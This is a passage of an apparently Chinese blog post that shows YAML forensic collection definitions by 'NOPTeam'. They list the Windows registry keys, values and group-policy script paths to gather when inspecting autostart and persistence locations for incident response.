leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Run&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Userinit&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Shell&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Userinit&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Shell&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Authentication Packages&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Security Packages&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\*\Drivers\*\*\&#39;</span><span leaf=""><br/></span><span leaf="">  - type: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\*&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Driver&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\*&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;StubPath&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_CURRENT_USER\Environment&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;UserInitMprLogonScript&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\&#39;</span><span leaf=""><br/></span><span leaf="">          value: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">BootExecute&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PendingFileRenameOperations&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上自启动相关信息收集。&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsPolicyScripts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\GroupPolicy\User\Scripts\Logon&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\GroupPolicy\User\Scripts\Logoff\&#39;</span><span leaf=""><br/></span><span leaf="">  - type: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\*\&#39;</span><span leaf=""><br/></span><span leaf="">        - &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Policy\Scripts\*\*\&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logoff&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logoff\*\&#39;</span><span leaf=""><br/></span><span leaf="">        - &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Policy\Scripts\Logoff\*\*\&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon\*\&#39;</span><span leaf=""><br/></span><span leaf="">        - &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Group</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Policy\Scripts\Logon\*\*\&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上组策略相关脚本。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上自启动相关内容</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 